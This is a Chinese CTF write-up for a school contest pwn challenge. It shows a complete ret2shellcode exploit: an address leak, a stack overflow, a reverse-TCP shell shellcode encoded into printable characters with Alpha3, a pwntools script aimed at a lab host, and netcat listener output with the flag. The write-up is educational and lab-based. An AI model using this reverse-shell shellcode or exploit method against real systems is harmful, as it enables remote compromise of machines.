记录一次 Ret2Shellcode

打了一次学校举办的 网安赛,里面就两个 Pwn题 这个学校就是逊啦 附件在github里

Challenge

CheckSec:

```
[*] '/home/mindedness/Shares/pwn/attachment'
                    i386-32-little
2
       Arch:
       RELRO:
                    Full RELRO
       Stack:
                    No canary found
4
5
       NX:
                    NX unknown - GNU_STACK missing
       PIE:
                    PIE enabled
6
7
       Stack:
                    Executable
                    Has RWX segments
8
       RWX:
                    Enabled
9
       SHSTK:
10
       IBT:
                    Enabled
11
       Stripped:
                    No
12
```

32位, NX关, 有RWX

```
int pwn()
! {
   char v1[232]; // [esp+0h] [ebp-F8h] BYREF
   void *buf; // [esp+E8h] [ebp-10h]
   int v3; // [esp+ECh] [ebp-Ch]
   v3 = 0;
   buf = v1;
   puts("Welcome to pwn world!");
   printf("Your name:");
   read(0, buf, 0xE8u);
   printf("Hello, %s\n", buf);
   printf("What do you want to do?");
   read(0, buf, 0x100u);
   filter(v1);
   close(2);
   close(1);
   close(0);
  return 0;
1 }
```

首先映入眼帘的就是一个泄露点加上一个溢出点

```
TDM VIEW-W = ALZennocone-W = Drav
 -0000002A db ? ; undefined
 -00000029 db ? ; undefined
 -00000028 db ?; undefined
 -00000027 db ?; undefined
 -00000026 db ? ; undefined
 -00000025 db ? ; undefined
 -00000024 db ?; undefined
 -00000023 db ? ; undefined
 -00000022 db ?; undefined
 -00000021 db ?; undefined
 -00000020 db ? ; undefined
 -0000001F db ? ; undefined
 -0000001E db ? ; undefined
 -0000001D db ? ; undefined
 -0000001C db ? ; undefined
 -0000001B db ? ; undefined
 -0000001A db ? ; undefined
 -00000019 db ? ; undefined
 -00000018 db ? ; undefined
 -00000017 db ? ; undefined
 -00000016 db ? ; undefined
 -00000015 db ?; undefined
 -00000014 db ? ; undefined
 -00000013 db ?; undefined
 -00000012 db ? ; undefined
 -00000011 db ? ; undefined
 -00000010 buf dd ?
                                                   ; (
 -0000000C var_C dd ?
 -00000008 db ?; undefined
 -00000007 db ? ; undefined
 -00000006 db ? ; undefined
 -00000005 db ? ; undefined
 -000000004 var 4 dd ?
 +00000000 s db 4 dup(?)
 +00000004 r db 4 dup(?)
 +000000008
 +00000008; end of stack variables
SP+0000000
```

padding = 0xF8 - 0x10

也就是在输入 0xE8字节后,会泄露buf的值,即可获取开头位置。

第二次可以覆盖到 return address,因而我们可以进行Ret2Shellcode技术的利用

遇到的问题

```
1 int cdecl filter(int a1)
2 {
3
    int result; // eax
4
    int i; // [esp+Ch] [ebp-Ch]
5
    for (i = 0; i \le 231; ++i)
6
7
      if ( *(_BYTE *)(i + a1) > 0x1Fu)
8
9
         result = *(unsigned __int8 *)(i + a1);
10
11
         if ( (unsigned __int8)result <= 0x7Eu )</pre>
12
           continue;
13
14
      puts("You can't do this.");
15
      exit(0);
16
    }
17
    return result;
18 }
```

这个题的filter()函数使得我们的Shellcode需要是可见字符,因而我们需要使用Alpha3对Shellcode进行转换

程序将 stdin stdout stderr 悉数关闭,因此我们原来一般使用的ShellCode在该题都无法使用。

这个题和其他我做过的 Ret2Shellcode 不一样的就是这里,我第一次使用所谓 反连TCP的 Shellcode。

而且,网上的 connect()+dupsh()是无法完成反弹shell的。

我一开始构造的ShellCode如下

```
from pwn import *

context.arch = 'i386'

# 构造 shellcode

shellcode = shellcraft.connect('127.1.1.1', 8080) # 连接到攻击者的 IP 和端口

shellcode += shellcraft.mov('ebx', 'eax') # 将 socket fd 保存到 ebx

shellcode += shellcraft.dup2('ebx', 0) # 将 socket fd 复制到

stdin (0)

shellcode += shellcraft.dup2('ebx', 1) # 将 socket fd 复制到
```

```
stdout (1)
shellcode += shellcraft.dup2('ebx', 2)  # 将 socket fd 复制到
stderr (2)
shellcode += shellcraft.sh()  # 执行 /bin/sh

# 将 shellcode 编译为字节码
sh = asm(shellcode)
print(sh)
```

然而,我们会发现,这样构造的ShellCode在Alpha3变换后长度过长,无法使用。

行 1,列 265 (已选择264)

因为是断网的比赛,我也没有足够的shellcode库存,其实我在打比赛的时候就到打这里了

解决方案

Reverse TCP ShellCode

我们可以在shellstorm上找到这样一个ShellCode:

Linux/x86 - Shell Reverse TCP Shellcode - 74 bytes

```
1 /*
2 * Title: Shell Reverse TCP Shellcode - 74 bytes
3 * Platform: Linux/x86
4 * Date: 2014-07-25
5 * Author: Julien Ahrens (@MrTuxracer)
6 * Website: http://www.rcesecurity.com
7 *
8 * Disassembly of section .text:
9 * 00000000 <_start>:
10 * 0: 6a 66
                            push 0x66
11 * 2: 58
                            pop
                                  eax
12 * 3: 6a 01
                            push 0x1
13 * 5: 5b
                            pop
                                  ebx
14 * 6: 31 d2
                            xor
                                  edx,edx
15 * 8: 52
                            push edx
16 * 9: 53
                            push ebx
17 * a: 6a 02
                            push 0x2
18 * c: 89 e1
                                  ecx,esp
                            mov
19 * e: cd 80
                            int
                                  0x80
20 * 10: 92
                            xchq edx,eax
21 * 11: b0 66
                            mov al, 0x66
22 * 13: 68 7f 01 01 01
                            push 0x101017f <ip: 127.1.1.1
```

```
23 * 18: 66 68 05 39
                                pushw 0x3905 <port: 1337
24 * 1c:
           43
                                inc
                                       ebx
25 * 1d:
           66 53
                                push
                                       bx
26 * 1f: 89 e1
                                mov
                                       ecx,esp
27 * 21:
           6a 10
                                push
                                      0x10
28 * 23:
           51
                                push
                                       есх
29 * 24:
           52
                                      edx
                                push
30 * 25:
           89 e1
                                mov
                                       ecx,esp
31 * 27:
           43
                                inc
                                      ebx
32 * 28:
           cd 80
                                       0x80
                                int
33 * 2a:
           6a 02
                                push
                                      0x2
           59
34 * 2c:
                                pop
                                       есх
35 * 2d:
           87 da
                                xchq
                                       edx,ebx
37 * 0000002f <loop>:
38 * 2f:
           b0 3f
                                mov
                                       al,0x3f
39 * 31:
           cd 80
                                int
                                       0x80
40 * 33:
           49
                                dec
                                       ecx
          79 f9
41 * 34:
                                      2f <loop>
                                jns
42 * 36:
                                      al, 0xb
           b0 0b
                                mov
43 * 38:
           41
                                inc
                                       есх
44 * 39:
           89 ca
                                mov
                                       edx,ecx
45 * 3b:
           52
                                push
                                      edx
46 * 3c: 68 2f 2f 73 68
                                       0x68732f2f
                                push
47 * 41: 68 2f 62 69 6e
                                push
                                      0x6e69622f
48 * 46:
          89 e3
                                mov
                                      ebx,esp
49 * 48:
           cd 80
                                int
                                       0x80
50 */
51
52 #include <stdio.h>
54 unsigned char shellcode[] = \
55 "\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x6
   6\x68\x7f\x01\x01\x01\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x8
   9\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x4
   1\x89\xca\x52\x68\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
56 main()
57 {
58 printf("Shellcode Length: %d\n", sizeof(shellcode) - 1);
59 int (*ret)() = (int(*)())shellcode;
60 ret();
61 }
```

我们在此对其ShellCode的构造进行一下学习

学习

1. 创建 Socket

```
;将 0x66 (socketcall 的系统调用号)压栈
1 push
        0x66
                 ; 将 0x66 弹出到 eax
2 pop
        eax
3 push
        0x1
                 ; 将 0x1 (SYS_SOCKET) 压栈
4 pop
      ebx
                 ; 将 0x1 弹出到 ebx
5 xor edx, edx; edx = 0
6 push edx
                 ; 将 0 (protocol) 压栈
7 push
                 ; 将 1 (type: SOCK_STREAM) 压栈
       ebx
8 push 0x2
                 ; 将 2 (domain: AF_INET) 压栈
9 mov ecx, esp ; ecx 指向栈顶, 即 socket 的参数
                ; 调用 socketcall, 创建 socket
10 int 0x80
11 xchg edx, eax ; 将 socket 的文件描述符保存到 edx
```

功能:

• 创建一个 TCP socket, 文件描述符存储在 edx 中。

2. 连接到攻击者的 IP 和端口

```
al, 0x66
                 ; eax = 0x66 (socketcall 的系统调用号)
1 mov
2 push 0x101017f ;将 IP 地址 127.1.1.1 压栈
3 pushw 0x3905 ; 将端口号 1337 压栈
4 inc
        ebx
                 ; ebx = 2 (SYS_BIND)
5 push bx
                ;将 2(AF_INET)压栈
6 mov ecx, esp ; ecx 指向栈顶, 即 sockaddr_in 结构
7 push 0x10
                ; 将 16 (addrlen) 压栈
                 ; 将 sockaddr_in 结构的指针压栈
8 push
       ecx
9 push edx
                 ; 将 socket 的文件描述符压栈
10 mov ecx, esp ; ecx 指向栈顶, 即 connect 的参数
                ; ebx = 3 (SYS_CONNECT)
11 inc
        ebx
12 int
        0x80
                ; 调用 socketcall, 连接到攻击者的 IP 和端口
```

功能:

● 连接到攻击者的 IP (127.1.1.1)和端口(1337)。

3. 重定向标准输入、输出和错误

```
1 push 0x2 ; 将 2 压栈
2 pop ecx ; ecx = 2 (stdout 的文件描述符)
3 xchg edx, ebx ; 将 socket 的文件描述符保存到 ebx
4
5 loop:
6 mov al, 0x3f ; eax = 0x3f (dup2 的系统调用号)
7 int 0x80 ; 调用 dup2, 将 socket fd 复制到 ecx 指定的文件描述符
8 dec ecx ; ecx-- (依次处理 stderr, stdout, stdin)
9 jns loop ; 如果 ecx >= 0, 继续循环
```

功能:

• 将 socket 的文件描述符复制到 stdin (0) 、 stdout (1) 和 stderr (2)。

4. 执行 /bin/sh

```
1 mov al, 0xb ; eax = 0xb (execve 的系统调用号)
2 inc ecx ; ecx = 0
3 mov edx, ecx ; edx = 0
4 push edx ; 将 0 (null terminator) 压栈
5 push 0x68732f2f ; 将 "//sh" 压栈
6 push 0x6e69622f ; 将 "/bin" 压栈
7 mov ebx, esp ; ebx 指向 "/bin//sh" 的地址
8 int 0x80 ; 调用 execve, 执行 /bin/sh
```

功能:

• 执行 /bin/sh , 提供一个交互式 shell。

解决后

通过上面的shellcode构建,我们就可以在本地获取到shell了。

Use.py

```
1 from pwn import *
2 #import os
```

```
4 sh =
    b'\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x
    66\x68'
 5
 6 ip = [127,1,1,1]
 8 k = b''
 9 for i in ip:
10 k += i.to_bytes()
11 sh += k #ip
 12 #print(k)
13 sh += b' \times 66 \times 68'
 14 port = 1337
 15 #print(hex(port))
16 sh += b'\x05\x39' #port
17
 18 sh +=
    b'\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\x
     da\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x
    68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
19
 20 print(sh)
```

运行结果

Alpha3工具使用(这里我是将简单Alpha3封装了一下,你们使用时应该用 python2 ALPHA3.py 而不是 alpha3)

```
1 echo -e -n
  "jfXj\x01[1\xd2RSj\x02\x89\xe1\xcd\x80\x92\xb0fh\x7f\x01\x01\x01fh\x059CfS\x8
  9\xe1j\x10QR\x89\xe1C\xcd\x80j\x02Y\x87\xda\xb0?
  \xcd\x80Iy\xf9\xb0\x0bA\x89\xcaRh//shh/bin\x89\xe3\xcd\x80" > shellcode.bin
2 alpha3 x86 ascii mixedcase ecx --input=shellcode.bin > output
```

得到Alpha3可见字符化后的ShellCode

1 hffffk4diFkDqj02Dqk0D1AuEE200T2w0Z0U0i0F3r180c7o023p3A4K4s3p4A1n0X7L060n010T1 k0u2j120R2x5M4R0Y1P0e2s4x400s4U4w2F020o4w4t5p2n3m3D0x2r3Y3U092K4x3h0b2Z7M0W0F

随后就可以构造Exp了

Exp.py

```
1 from pwn import *
2 import LibcSearcher
3
4 file = "./attachment"
5 elf = ELF(file)
6
   context(arch=elf.arch,os='linux')
8
9
   if args['DEBUG']:
10
       context.log_level = 'debug'
11
12
13
   if args['REMOTE']:
14
       io = remote('192.168.202.151', 32768)
15
   else:
       io = process(file)
16
17
18
   if elf.arch == 'i386':
19
       B = 4
20
21 elif elf.arch == 'amd64':
       B = 8
22
   else:
23
24
       print("PLS Input The Address Byte: ")
        B = int(input())
25
   print("B=" +str(B))
26
27
28 sla = lambda ReceivedMessage, SendMessage
   :io.sendlineafter(ReceivedMessage, SendMessage)
29 sl = lambda SendMessage :io.sendline(SendMessage)
30 sa = lambda ReceivedMessage, SendMessage
    :io.sendafter(ReceivedMessage, SendMessage)
31 rcv = lambda ReceiveNumber, TimeOut=Timeout.default :io.recv(ReceiveNumber,
   TimeOut)
32 rcu = lambda ReceiveStopMessage, Drop=False, TimeOut=Timeout.default
    :io.recvuntil(ReceiveStopMessage,Drop,TimeOut)
34
35
36 #gdb.attach(io)
37 #05 1F 3B 7D 05 52 81 2C 9F 0D
```

```
38
39
40
41 io.send(b'A'*0xe8)
42
   rcu(b'A'*0xe8)
43
44
   addr = u32(rcv(4))
45
46
47
   success("Leaked Address: " + hex(addr))
48
   #sh =
49
   b"hffffk4diFkDqj02Dqk0D1AuEE200T2w0Z0U0i0F3r180c7o023p3A4K4s3p4A1n0X335o352M
   0T1k0u2j120R2x5M4R0Y1P0e2s4x400s4U4s0Y07064t8o4B0r3m3D0x2r3Y3U092K4x3h0b2Z7M
   OWOF2E1L1MOR001o3I3C384r0s"
50 sh =
   b"hffffk4diFkDqj02Dqk0D1AuEE200T2w0Z0U0i0F3r180c7o023p3A4K4s3p4A1n0X7L060n01
   0T1k0u2j120R2x5M4R0Y1P0e2s4x400s4U4w2F020o4w4t5p2n3m3D0x2r3Y3U092K4x3h0b2Z7M
   OWOF2E1l1MOR001o3I3C384r0s"
51
52 payload = sh
53 padding = 0xf8 + B
54 payload = payload.ljust(padding,b'A')
55 payload += flat([addr,addr])
56 #gdb.attach(io)
57 io.sendline(payload)
58
59
   io.interactive()
60
```

本地测试通过

```
Connection received on localhost 36030 ls
Exp.py
attachment
attachment.idb
output
shellcode.bin
use2.py
```

由于此时比赛结束,我只能把它的题目自己部署,自己打了。

线上测试:

把上面的注释去掉,下面注释上,运行 python ./Exp.py REMOTE

记得在接收shell的机器上运行 nc -lvp 1337

```
Istening on [any] 1337
listening on [any] 1337 ...
192.168.202.151: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.202.29] from (UNKNOWN) [192.168.202.151] 56554: NO_DATA
ls
TCP_Attack
bin
dev
flag
lib
lib32
lib64
cat flag
Mindedness{8a386225-b607-48d9-8f69-2cbd38686ef3}
```

线上也打通 (记得这里需要满足一个条件: ShellCode需要是Null-Free的, 因而我们的IP地址如果带0,则需要进行IP地址的修改)